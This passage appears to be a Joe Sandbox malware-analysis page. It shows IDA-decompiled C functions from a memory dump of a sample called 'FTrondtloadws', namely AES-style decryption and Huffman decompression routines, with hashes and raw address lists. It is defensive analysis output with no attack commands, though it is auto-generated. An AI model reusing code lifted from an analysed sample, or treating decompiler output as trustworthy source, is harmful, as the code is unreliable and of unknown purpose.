0x00ccd8ac
0x00ccd8a6
0x00ccd8b0
0x00ccd8b0
0x00ccd8b1
0x00ccd8b4
0x00ccd8b8
0x00ccd8b8
0x00000000
0x00ccd88b

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49f816740e30d2d61d988b37d85bfd9e695c120920780a96271cd56b99cfaf9e
Instruction ID: 4a24b64db4d35991c2a60ea2b0eb405ac7eed953e309fccee7b6f56bef587d0c
Opcode Fuzzy Hash: 49f816740e30d2d61d988b37d85bfd9e695c120920780a96271cd56b99cfaf9e
Instruction Fuzzy Hash: A5F1A871A083418FC724CF29C584B2ABBE5FFC9314F144A6EF49B87251D630EA46DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00CCFCAC Relevance: .3, Instructions: 320
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00CCFCAC(void* __ebx, intOrPtr __ecx, void* __esi) {
				void* _t220;
				intOrPtr _t227;
				void* _t250;
				signed char _t252;
				signed int _t300;
				signed int* _t303;
				signed char _t346;
				unsigned int _t348;
				signed int _t351;
				unsigned int _t354;
				signed int* _t357;
				signed int _t361;
				signed int _t366;
				signed int _t370;
				signed int _t374;
				signed char _t376;
				signed int* _t380;
				signed int _t387;
				signed int _t392;
				intOrPtr _t394;
				signed char _t395;
				signed char _t396;
				signed char _t397;
				unsigned int _t399;
				signed int _t402;
				unsigned int _t405;
				unsigned int _t407;
				unsigned int _t408;
				signed int _t409;
				signed int _t414;
				unsigned int _t415;
				unsigned int _t416;
				signed int _t418;
				signed int _t422;
				signed int _t423;
				intOrPtr _t425;
				signed int _t426;
				void* _t430;
				void* _t431;

				_t407 =  *(_t430 + 0x6c);
				_t425 = __ecx;
				 *((intOrPtr*)(_t430 + 0x24)) = __ecx;
				if(_t407 != 0) {
					_t408 = _t407 >> 4;
					 *(_t430 + 0x6c) = _t408;
					if( *((char*)(__ecx)) == 0) {
						 *((intOrPtr*)(_t430 + 0x38)) = __ecx + 8;
						E00CE2C10(_t430 + 0x5c, __ecx + 8, 0x10);
						_t431 = _t430 + 0xc;
						if(_t408 == 0) {
							L13:
							return E00CE2C10( *((intOrPtr*)(_t431 + 0x38)), _t431 + 0x58, 0x10);
						}
						_t392 =  *(_t431 + 0x68);
						 *(_t431 + 0x24) = _t392 + 8;
						_t227 =  *((intOrPtr*)(_t431 + 0x78));
						_t394 = _t392 - _t227 - 8;
						 *((intOrPtr*)(_t431 + 0x34)) = _t394;
						_t357 = _t227 + 8;
						 *(_t431 + 0x28) = _t357;
						do {
							_t414 =  *(_t425 + 4);
							 *(_t431 + 0x30) = _t357 + _t394;
							E00CCFC7A(_t431 + 0x54, _t357 + _t394, (_t414 << 4) + 0x18 + _t425);
							_t395 =  *(_t431 + 0x4c);
							 *(_t431 + 0x10) =  *(0xd081f0 + (_t395 & 0x000000ff) * 4) ^  *(0xd08df0 + ( *(_t431 + 0x53) & 0x000000ff) * 4) ^  *(0xd089f0 + ( *(_t431 + 0x56) & 0x000000ff) * 4);
							_t346 =  *(_t431 + 0x58);
							_t361 =  *(_t431 + 0x10) ^  *(0xd085f0 + (_t346 & 0x000000ff) * 4);
							 *(_t431 + 0x10) = _t361;
							 *(_t431 + 0x3c) = _t361;
							_t396 =  *(_t431 + 0x50);
							_t366 =  *(0xd085f0 + (_t395 & 0x000000ff) * 4) ^  *(0xd081f0 + (_t396 & 0x000000ff) * 4) ^  *(0xd08df0 + ( *(_t431 + 0x57) & 0x000000ff) * 4) ^  *(0xd089f0 + ( *(_t431 + 0x5a) & 0x000000ff) * 4);
							 *(_t431 + 0x1c) = _t366;
							 *(_t431 + 0x40) = _t366;
							_t397 =  *(_t431 + 0x54);
							 *(_t431 + 0x14) =  *(0xd089f0 + ( *(_t431 + 0x4e) & 0x000000ff) * 4) ^  *(0xd085f0 + (_t396 & 0x000000ff) * 4);
							_t370 =  *(_t431 + 0x14) ^  *(0xd081f0 + (_t397 & 0x000000ff) * 4) ^  *(0xd08df0 + ( *(_t431 + 0x5b) & 0x000000ff) * 4);
							 *(_t431 + 0x14) = _t370;
							 *(_t431 + 0x44) = _t370;
							 *(_t431 + 0x18) =  *(0xd08df0 + ( *(_t431 + 0x4f) & 0x000000ff) * 4) ^  *(0xd089f0 + ( *(_t431 + 0x52) & 0x000000ff) * 4);
							_t374 =  *(_t431 + 0x18) ^  *(0xd085f0 + (_t397 & 0x000000ff) * 4) ^  *(0xd081f0 + (_t346 & 0x000000ff) * 4);
							_t250 = _t414 - 1;
							 *(_t431 + 0x18) = _t374;
							 *(_t431 + 0x48) = _t374;
							if(_t250 <= 1) {
								goto L9;
							}
							_t409 =  *(_t431 + 0x1c);
							_t422 = (_t250 + 2 << 4) + _t425;
							_t426 =  *(_t431 + 0x10);
							 *(_t431 + 0x18) = _t422;
							 *(_t431 + 0x20) = _t250 - 1;
							do {
								_t405 =  *_t422 ^  *(_t431 + 0x14);
								 *(_t431 + 0x10) =  *(_t422 - 8) ^ _t426;
								 *(_t431 + 0x1c) =  *(_t422 + 4) ^ _t374;
								_t354 =  *(_t422 - 4) ^ _t409;
								_t423 =  *(_t431 + 0x1c);
								_t426 =  *(0xd089f0 + (_t405 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xd085f0 + (_t423 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xd08df0 + (_t354 >> 0x18) * 4) ^  *(0xd081f0 + ( *(_t431 + 0x10) & 0x000000ff) * 4);
								 *(_t431 + 0x3c) = _t426;
								_t409 =  *(0xd089f0 + (_t423 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xd085f0 + ( *(_t431 + 0x10) >> 0x00000008 & 0x000000ff) * 4) ^  *(0xd08df0 + (_t405 >> 0x18) * 4) ^  *(0xd081f0 + (_t354 & 0x000000ff) * 4);
								 *(_t431 + 0x40) = _t409;
								_t387 =  *(0xd085f0 + (_t354 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xd089f0 + ( *(_t431 + 0x10) >> 0x00000010 & 0x000000ff) * 4) ^  *(0xd08df0 + (_t423 >> 0x18) * 4) ^  *(0xd081f0 + (_t405 & 0x000000ff) * 4);
								 *(_t431 + 0x14) = _t387;
								 *(_t431 + 0x44) = _t387;
								_t422 =  *(_t431 + 0x18) - 0x10;
								 *(_t431 + 0x18) = _t422;
								_t374 =  *(0xd089f0 + (_t354 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xd085f0 + (_t405 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xd08df0 + ( *(_t431 + 0x10) >> 0x18) * 4) ^  *(0xd081f0 + (_t423 & 0x000000ff) * 4);
								_t132 = _t431 + 0x20;
								 *_t132 =  *(_t431 + 0x20) - 1;
								 *(_t431 + 0x48) = _t374;
							} while ( *_t132 != 0);
							 *(_t431 + 0x1c) = _t409;
							_t408 =  *(_t431 + 0x74);
							 *(_t431 + 0x10) = _t426;
							_t425 =  *((intOrPtr*)(_t431 + 0x2c));
							 *(_t431 + 0x18) = _t374;
							L9:
							_t252 =  *(_t425 + 0x28) ^  *(_t431 + 0x10);
							 *(_t431 + 0x20) = _t252;
							 *(_t431 + 0x4c) = _t252;
							_t376 =  *(_t425 + 0x34) ^  *(_t431 + 0x18);
							 *(_t431 + 0x3c) =  *((intOrPtr*)((_t252 & 0x000000ff) + 0xd070f0));
							_t399 =  *(_t425 + 0x30) ^  *(_t431 + 0x14);
							_t348 =  *(_t425 + 0x2c) ^  *(_t431 + 0x1c);
							 *((char*)(_t431 + 0x3d)) =  *((intOrPtr*)((_t376 >> 0x00000008 & 0x000000ff) + 0xd070f0));
							_t415 =  *(_t431 + 0x20);
							 *(_t431 + 0x54) = _t399;
							 *(_t431 + 0x50) = _t348;
							 *((char*)(_t431 + 0x3e)) =  *((intOrPtr*)((_t399 >> 0x00000010 & 0x000000ff) + 0xd070f0));
							 *(_t431 + 0x58) = _t376;
							 *((char*)(_t431 + 0x3f)) =  *((intOrPtr*)((_t348 >> 0x18) + 0xd070f0));
							 *(_t431 + 0x40) =  *((intOrPtr*)((_t348 & 0x000000ff) + 0xd070f0));
							 *((char*)(_t431 + 0x41)) =  *((intOrPtr*)((_t415 >> 0x00000008 & 0x000000ff) + 0xd070f0));
							 *((char*)(_t431 + 0x42)) =  *((intOrPtr*)((_t376 >> 0x00000010 & 0x000000ff) + 0xd070f0));
							 *((char*)(_t431 + 0x43)) =  *((intOrPtr*)((_t399 >> 0x18) + 0xd070f0));
							 *(_t431 + 0x44) =  *((intOrPtr*)((_t399 & 0x000000ff) + 0xd070f0));
							 *((char*)(_t431 + 0x45)) =  *((intOrPtr*)((_t348 >> 0x00000008 & 0x000000ff) + 0xd070f0));
							_t416 = _t415 >> 0x18;
							 *((char*)(_t431 + 0x46)) =  *((intOrPtr*)((_t415 >> 0x00000010 & 0x000000ff) + 0xd070f0));
							 *((char*)(_t431 + 0x47)) =  *((intOrPtr*)((_t376 >> 0x18) + 0xd070f0));
							 *(_t431 + 0x48) =  *((intOrPtr*)((_t376 & 0x000000ff) + 0xd070f0));
							_t402 =  *(_t425 + 0x18) ^  *(_t431 + 0x3c);
							 *((char*)(_t431 + 0x49)) =  *((intOrPtr*)((_t399 >> 0x00000008 & 0x000000ff) + 0xd070f0));
							 *((char*)(_t431 + 0x4a)) =  *((intOrPtr*)((_t348 >> 0x00000010 & 0x000000ff) + 0xd070f0));
							_t186 = _t416 + 0xd070f0; // 0x30d56a09
							 *((char*)(_t431 + 0x4b)) =  *_t186;
							_t300 =  *(_t425 + 0x24) ^  *(_t431 + 0x48);
							_t418 =  *(_t425 + 0x1c) ^  *(_t431 + 0x40);
							_t351 =  *(_t425 + 0x20) ^  *(_t431 + 0x44);
							 *(_t431 + 0x20) = _t300;
							if( *((char*)(_t425 + 1)) != 0) {
								_t402 = _t402 ^  *(_t431 + 0x5c);
								_t418 = _t418 ^  *(_t431 + 0x60);
								_t351 = _t351 ^  *(_t431 + 0x64);
								 *(_t431 + 0x20) = _t300 ^  *(_t431 + 0x68);
							}
							 *(_t431 + 0x5c) =  *( *(_t431 + 0x30));
							_t303 =  *(_t431 + 0x24);
							 *(_t431 + 0x60) =  *(_t303 - 4);
							 *(_t431 + 0x64) =  *_t303;
							 *(_t431 + 0x68) = _t303[1];
							_t380 =  *(_t431 + 0x28);
							 *(_t431 + 0x24) =  &(_t303[4]);
							 *(_t380 - 8) = _t402;
							_t380[1] =  *(_t431 + 0x20);
							_t394 =  *((intOrPtr*)(_t431 + 0x34));
							 *(_t380 - 4) = _t418;
							 *_t380 = _t351;
							_t357 =  &(_t380[4]);
							_t408 = _t408 - 1;
							 *(_t431 + 0x28) = _t357;
							 *(_t431 + 0x74) = _t408;
						} while (_t408 != 0);
						goto L13;
					}
					return E00CD016F( *((intOrPtr*)(_t430 + 0x70)), _t408,  *((intOrPtr*)(_t430 + 0x70)));
				}
				return _t220;
			}

0x00ccfcb1
0x00ccfcb5
0x00ccfcb7
0x00ccfcbd
0x00ccfcc3
0x00ccfcca
0x00ccfcce
0x00ccfce9
0x00ccfcf2
0x00ccfcf7
0x00ccfcfc
0x00cd0154
0x00000000
0x00cd0164
0x00ccfd02
0x00ccfd0b
0x00ccfd0f
0x00ccfd15
0x00ccfd18
0x00ccfd1c
0x00ccfd1f
0x00ccfd23
0x00ccfd23
0x00ccfd2a
0x00ccfd3d
0x00ccfd42
0x00ccfd68
0x00ccfd6c
0x00ccfd77
0x00ccfd7e
0x00ccfd82
0x00ccfd89
0x00ccfdaf
0x00ccfdbb
0x00ccfdbf
0x00ccfdcd
0x00ccfdd8
0x00ccfdef
0x00ccfdfb
0x00ccfdff
0x00ccfe16
0x00ccfe2b
0x00ccfe32
0x00ccfe35
0x00ccfe39
0x00ccfe40
0x00000000
0x00000000
0x00ccfe46
0x00ccfe50
0x00ccfe52
0x00ccfe57
0x00ccfe5b
0x00ccfe5f
0x00ccfe66
0x00ccfe6a
0x00ccfe76
0x00ccfe7a
0x00ccfe7c
0x00ccfeb1
0x00ccfed1
0x00ccfeeb
0x00ccff0e
0x00ccff2b
0x00ccff32
0x00ccff36
0x00ccff65
0x00ccff68
0x00ccff6c
0x00ccff73
0x00ccff73
0x00ccff78
0x00ccff78
0x00ccff82
0x00ccff86
0x00ccff8a
0x00ccff8e
0x00ccff92
0x00ccff96
0x00ccff99
0x00ccff9d
0x00ccffa1
0x00ccffab
0x00ccffb8
0x00ccffc4
0x00ccffcb
0x00ccffd5
0x00ccffe1
0x00ccffe5
0x00ccffe9
0x00ccfff3
0x00ccfffc
0x00cd0006
0x00cd0013
0x00cd0025
0x00cd0037
0x00cd0046
0x00cd0056
0x00cd006b
0x00cd0077
0x00cd0080
0x00cd008f
0x00cd009c
0x00cd00a6
0x00cd00b0
0x00cd00bd
0x00cd00c1
0x00cd00c7
0x00cd00d4
0x00cd00d8
0x00cd00dc
0x00cd00e4
0x00cd00e8
0x00cd00ea
0x00cd00ee
0x00cd00f2
0x00cd00fa
0x00cd00fa
0x00cd0104
0x00cd0108
0x00cd010f
0x00cd0115
0x00cd011f
0x00cd0123
0x00cd0127
0x00cd012b
0x00cd0132
0x00cd0135
0x00cd0139
0x00cd013c
0x00cd013e
0x00cd0141
0x00cd0144
0x00cd0148
0x00cd0148
0x00000000
0x00cd0153
0x00000000
0x00ccfcd9
0x00cd016c

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8409d9f71af6315311d89837e8e552cc342e87e3c3367aff8d3c38da5646d773
Instruction ID: 8fba96719151fb1e196967fa376d573704b44e4a2747220c56e9a6af96601286
Opcode Fuzzy Hash: 8409d9f71af6315311d89837e8e552cc342e87e3c3367aff8d3c38da5646d773
Instruction Fuzzy Hash: 35E13C755183908FC304CF1AD89066ABBF0BB99300F4A095EF9D887353D735EA16DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CD5252 Relevance: .3, Instructions: 270
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00CD5252(void* __ecx, void* __edx) {
				void* __edi;
				signed int _t82;
				signed int _t87;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t97;
				signed int _t98;
				void* _t99;
				void* _t101;
				void* _t121;
				void* _t138;
				signed int _t139;
				signed int _t140;
				signed int _t149;
				signed int _t151;
				void* _t153;
				signed int _t156;
				signed int _t157;
				intOrPtr* _t158;
				intOrPtr* _t167;
				signed int _t170;
				void* _t171;
				signed int _t174;
				void* _t179;
				unsigned int _t181;
				void* _t184;
				signed int _t185;
				intOrPtr* _t186;
				void* _t187;
				signed int _t188;
				signed int _t189;
				intOrPtr* _t190;
				signed int _t193;
				signed int _t198;
				void* _t201;

				_t179 = __edx;
				_t187 = __ecx;
				_t186 = __ecx + 4;
				if( *_t186 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
					L2:
					E00CCBC5A(_t186,  ~( *(_t187 + 8)) & 0x00000007);
					_t82 = E00CCBC71(_t186, _t204);
					_t205 = _t82 & 0x00008000;
					if((_t82 & 0x00008000) == 0) {
						_t139 = 0;
						 *((intOrPtr*)(_t187 + 0xe654)) = 0;
						 *((intOrPtr*)(_t187 + 0x98c8)) = 0;
						 *((intOrPtr*)(_t187 + 0x98cc)) = 0;
						__eflags = _t82 & 0x00004000;
						if((_t82 & 0x00004000) == 0) {
							E00CE1000(_t186, _t187 + 0xe4c0, 0, 0x194);
							_t201 = _t201 + 0xc;
						}
						E00CCBC5A(_t186, 2);
						do {
							 *(_t201 + 0x14) = E00CCBC71(_t186, __eflags) >> 0xc;
							E00CCBC5A(_t186, 4);
							_t87 =  *(_t201 + 0x10);
							__eflags = _t87 - 0xf;
							if(__eflags != 0) {
								 *(_t201 + _t139 + 0x14) = _t87;
								goto L15;
							}
							_t188 = E00CCBC71(_t186, __eflags) >> 0x0000000c & 0x000000ff;
							E00CCBC5A(_t186, 4);
							__eflags = _t188;
							if(_t188 != 0) {
								_t189 = _t188 + 2;
								__eflags = _t189;
								while(1) {
									_t189 = _t189 - 1;
									__eflags = _t139 - 0x14;
									if(_t139 >= 0x14) {
										break;
									}
									 *(_t201 + _t139 + 0x14) = 0;
									_t139 = _t139 + 1;
									__eflags = _t189;
									if(_t189 != 0) {
										continue;
									}
									break;
								}
								_t139 = _t139 - 1;
								goto L15;
							}
							 *(_t201 + _t139 + 0x14) = 0xf;
							L15:
							_t139 = _t139 + 1;
							__eflags = _t139 - 0x14;
						} while (__eflags < 0);
						_push(0x14);
						_t190 = _t187 + 0x3c44;
						_push(_t190);
						_push(_t201 + 0x1c);
						E00CD4976();
						_t140 = 0;
						__eflags = 0;
						do {
							__eflags =  *_t186 -  *((intOrPtr*)(_t187 + 0x78)) - 5;
							if(__eflags <= 0) {
								L19:
								_t92 = E00CCBC76(_t186, __eflags);
								_t93 =  *(_t190 + 0x84);
								_t181 = _t92 & 0x0000fffe;
								__eflags = _t181 -  *((intOrPtr*)(_t190 + 4 + _t93 * 4));
								if(_t181 >=  *((intOrPtr*)(_t190 + 4 + _t93 * 4))) {
									_t149 = 0xf;
									_t94 = _t93 + 1;
									 *(_t201 + 0x10) = _t149;
									__eflags = _t94 - _t149;
									if(_t94 >= _t149) {
										L27:
										_t151 =  *(_t186 + 4) +  *(_t201 + 0x10);
										 *_t186 =  *_t186 + (_t151 >> 3);
										_t97 =  *(_t201 + 0x10);
										 *(_t186 + 4) = _t151 & 0x00000007;
										_t153 = 0x10;
										_t156 =  *((intOrPtr*)(_t190 + 0x44 + _t97 * 4)) + (_t181 -  *((intOrPtr*)(_t190 + _t97 * 4)) >> _t153 - _t97);
										__eflags = _t156 -  *_t190;
										asm("sbb eax, eax");
										_t98 = _t97 & _t156;
										__eflags = _t98;
										_t157 =  *(_t190 + 0xc88 + _t98 * 2) & 0x0000ffff;
										L28:
										_t184 = 0x10;
										__eflags = _t157 - _t184;
										if(_t157 >= _t184) {
											_t99 = 0x12;
											__eflags = _t157 - _t99;
											if(__eflags >= 0) {
												_t158 = _t186;
												if(__eflags != 0) {
													_t193 = (E00CCBC71(_t158, __eflags) >> 9) + 0xb;
													__eflags = _t193;
													_push(7);
												} else {
													_t193 = (E00CCBC71(_t158, __eflags) >> 0xd) + 3;
													_push(3);
												}
												_pop(_t101);
												E00CCBC5A(_t186, _t101);
												while(1) {
													_t193 = _t193 - 1;
													__eflags = _t140 - 0x194;
													if(_t140 >= 0x194) {
														goto L46;
													}
													 *(_t201 + _t140 + 0x28) = 0;
													_t140 = _t140 + 1;
													__eflags = _t193;
													if(_t193 != 0) {
														continue;
													}
													L44:
													_t190 = _t187 + 0x3c44;
													goto L45;
												}
												break;
											}
											__eflags = _t157 - _t184;
											_t167 = _t186;
											if(__eflags != 0) {
												_t198 = (E00CCBC71(_t167, __eflags) >> 9) + 0xb;
												__eflags = _t198;
												_push(7);
											} else {
												_t198 = (E00CCBC71(_t167, __eflags) >> 0xd) + 3;
												_push(3);
											}
											_pop(_t121);
											E00CCBC5A(_t186, _t121);
											__eflags = _t140;
											if(_t140 == 0) {
												L47:
												return 0;
											} else {
												while(1) {
													_t198 = _t198 - 1;
													__eflags = _t140 - 0x194;
													if(_t140 >= 0x194) {
														goto L46;
													}
													 *(_t201 + _t140 + 0x28) =  *((intOrPtr*)(_t201 + _t140 + 0x27));
													_t140 = _t140 + 1;
													__eflags = _t198;
													if(_t198 != 0) {
														continue;
													}
													goto L44;
												}
												break;
											}
										}
										 *(_t201 + _t140 + 0x28) =  *((intOrPtr*)(_t140 + _t187 + 0xe4c0)) + _t157 & 0x0000000f;
										_t140 = _t140 + 1;
										goto L45;
									}
									_t170 = 4 + _t94 * 4 + _t190;
									__eflags = _t170;
									while(1) {
										__eflags = _t181 -  *_t170;
										if(_t181 <  *_t170) {
											break;
										}
										_t94 = _t94 + 1;
										_t170 = _t170 + 4;
										__eflags = _t94 - 0xf;
										if(_t94 < 0xf) {
											continue;
										}
										goto L27;
									}
									 *(_t201 + 0x10) = _t94;
									goto L27;
								}
								_t171 = 0x10;
								_t185 = _t181 >> _t171 - _t93;
								_t174 = ( *(_t185 + _t190 + 0x88) & 0x000000ff) +  *(_t186 + 4);
								 *_t186 =  *_t186 + (_t174 >> 3);
								 *(_t186 + 4) = _t174 & 0x00000007;
								_t157 =  *(_t190 + 0x488 + _t185 * 2) & 0x0000ffff;
								goto L28;
							}
							__eflags = E00CD5F79(_t187);
							if(__eflags == 0) {
								goto L47;
							}
							goto L19;
							L45:
							__eflags = _t140 - 0x194;
						} while (_t140 < 0x194);
						L46:
						 *((char*)(_t187 + 0xe659)) = 1;
						__eflags =  *_t186 -  *((intOrPtr*)(_t187 + 0x78));
						if( *_t186 <=  *((intOrPtr*)(_t187 + 0x78))) {
							_push(0x12b);
							_push(_t187 + 0x94);
							_push(_t201 + 0x30);
							E00CD4976();
							_push(0x3c);
							_push(_t187 + 0xf80);
							_push(_t201 + 0x15b);
							E00CD4976();
							_push(0x11);
							_push(_t187 + 0x1e6c);
							_push(_t201 + 0x197);
							E00CD4976();
							_push(0x1c);
							_push(_t187 + 0x2d58);
							_push(_t201 + 0x1a8);
							E00CD4976();
							E00CE2C10(_t187 + 0xe4c0, _t201 + 0x2c, 0x194);
							return 1;
						}
						goto L47;
					}
					 *((intOrPtr*)(_t187 + 0xe654)) = 1;
					return E00CD4154(_t179, _t205, _t187, _t187 + 0xe4bc);
				}
				_t138 = E00CD5F79(__ecx);
				_t204 = _t138;
				if(_t138 == 0) {
					goto L47;
				}
				goto L2;
			}

0x00cd5252
0x00cd525b
0x00cd5261
0x00cd5269
0x00cd5278
0x00cd5283
0x00cd528a
0x00cd528f
0x00cd5294
0x00cd52b8
0x00cd52ba
0x00cd52c0
0x00cd52c6
0x00cd52cc
0x00cd52d1
0x00cd52e0
0x00cd52e5
0x00cd52e5
0x00cd52ec
0x00cd52f1
0x00cd52ff
0x00cd5303
0x00cd5308
0x00cd530c
0x00cd530e
0x00cd5347
0x00000000
0x00cd5347
0x00cd531e
0x00cd5321
0x00cd5326
0x00cd5328
0x00cd5331
0x00cd5331
0x00cd5334
0x00cd5334
0x00cd5335
0x00cd5338
0x00000000
0x00000000
0x00cd533a
0x00cd533f
0x00cd5340
0x00cd5342
0x00000000
0x00000000
0x00000000
0x00cd5342
0x00cd5344
0x00000000
0x00cd5344
0x00cd532a
0x00cd534b
0x00cd534b
0x00cd534c
0x00cd534c
0x00cd5351
0x00cd5353
0x00cd535b
0x00cd5360
0x00cd5361
0x00cd5366
0x00cd5366
0x00cd5368
0x00cd536e
0x00cd5370
0x00cd5381
0x00cd5383
0x00cd538a
0x00cd5390
0x00cd5396
0x00cd539a
0x00cd53c7
0x00cd53c8
0x00cd53c9
0x00cd53cd
0x00cd53cf
0x00cd53ed
0x00cd53f0
0x00cd53fc
0x00cd53fe
0x00cd5402
0x00cd5407
0x00cd5414
0x00cd5416
0x00cd5419
0x00cd541b
0x00cd541b
0x00cd541d
0x00cd5425
0x00cd5427
0x00cd5428
0x00cd542b
0x00cd5444
0x00cd5445
0x00cd5448
0x00cd5496
0x00cd5498
0x00cd54b5
0x00cd54b5
0x00cd54b8
0x00cd549a
0x00cd54a4
0x00cd54a7
0x00cd54a7
0x00cd54ba
0x00cd54be
0x00cd54c3
0x00cd54c3
0x00cd54c4
0x00cd54ca
0x00000000
0x00000000
0x00cd54cc
0x00cd54d1
0x00cd54d2
0x00cd54d4
0x00000000
0x00000000
0x00cd54d6
0x00cd54d6
0x00000000
0x00cd54d6
0x00000000
0x00cd54c3
0x00cd544a
0x00cd544d
0x00cd544f
0x00cd546c
0x00cd546c
0x00cd546f
0x00cd5451
0x00cd545b
0x00cd545e
0x00cd545e
0x00cd5471
0x00cd5475
0x00cd547a
0x00cd547c
0x00cd54f6
0x00000000
0x00cd547e
0x00cd547e
0x00cd547e
0x00cd547f
0x00cd5485
0x00000000
0x00000000
0x00cd548b
0x00cd548f
0x00cd5490
0x00cd5492
0x00000000
0x00000000
0x00000000
0x00cd5494
0x00000000
0x00cd547e
0x00cd547c
0x00cd5438
0x00cd543c
0x00000000
0x00cd543c
0x00cd53d8
0x00cd53d8
0x00cd53da
0x00cd53da
0x00cd53dc
0x00000000
0x00000000
0x00cd53de
0x00cd53df
0x00cd53e2
0x00cd53e5
0x00000000
0x00000000
0x00000000
0x00cd53e7
0x00cd53e9
0x00000000
0x00cd53e9
0x00cd539e
0x00cd53a1
0x00cd53ab
0x00cd53b3
0x00cd53b8
0x00cd53bb
0x00000000
0x00cd53bb
0x00cd5379
0x00cd537b
0x00000000
0x00000000
0x00000000
0x00cd54dc
0x00cd54dc
0x00cd54dc
0x00cd54e8
0x00cd54ea
0x00cd54f1
0x00cd54f4
0x00cd54fa
0x00cd5507
0x00cd550c
0x00cd550d
0x00cd5512
0x00cd551c
0x00cd5524
0x00cd5525
0x00cd552a
0x00cd5534
0x00cd553c
0x00cd553d
0x00cd5542
0x00cd554c
0x00cd5554
0x00cd5555
0x00cd556b
0x00000000
0x00cd5573
0x00000000
0x00cd54f4
0x00cd529c
0x00000000
0x00cd52ae
0x00cd526b
0x00cd5270
0x00cd5272
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d9d7679fbde78b3247f07612fed3e9cb59a38070ec5122fd68ccd9571fce079
Instruction ID: e03a0450313cee30fcb67d18e7a9dc448ba963834f343297c8487b2c546092bf
Opcode Fuzzy Hash: 5d9d7679fbde78b3247f07612fed3e9cb59a38070ec5122fd68ccd9571fce079
Instruction Fuzzy Hash: 7D915BB1200B458BD724EF65D891BBE77D5EB90300F10092EE7A787382EB74D949E752

Uniqueness

Uniqueness Score: -1.00%

Function 00CD5580 Relevance: .2, Instructions: 243
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00CD5580(void* __ecx) {
				signed int _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				signed int _t76;
				signed int _t77;
				void* _t79;
				char _t90;
				void* _t97;
				signed int _t108;
				unsigned int _t112;
				intOrPtr* _t114;
				signed int _t117;
				intOrPtr _t118;
				signed int _t124;
				signed int _t127;
				signed int _t128;
				signed int _t134;
				signed int _t136;
				void* _t138;
				signed int _t141;
				void* _t142;
				intOrPtr* _t143;
				void* _t147;
				intOrPtr* _t153;
				intOrPtr* _t156;
				void* _t157;
				signed int _t160;
				unsigned int _t165;
				void* _t168;
				signed int _t169;
				signed int _t171;
				signed int _t172;
				intOrPtr* _t175;
				void* _t177;
				void* _t178;

				_t177 = __ecx;
				if( *((char*)( *((intOrPtr*)(_t178 + 8)) + 0x11)) != 0) {
					_t175 =  *((intOrPtr*)(_t178 + 0x1dc));
					__eflags =  *((char*)(_t175 + 8));
					if( *((char*)(_t175 + 8)) != 0) {
						L5:
						_t171 = 0;
						__eflags = 0;
						do {
							_t112 = E00CCBC71(_t175, __eflags) >> 0xc;
							E00CCBC5A(_t175, 4);
							__eflags = _t112 - 0xf;
							if(__eflags != 0) {
								 *(_t178 + _t171 + 0x18) = _t112;
								goto L14;
							}
							_t127 = E00CCBC71(_t175, __eflags) >> 0x0000000c & 0x000000ff;
							E00CCBC5A(_t175, 4);
							__eflags = _t127;
							if(_t127 != 0) {
								_t128 = _t127 + 2;
								__eflags = _t128;
								while(1) {
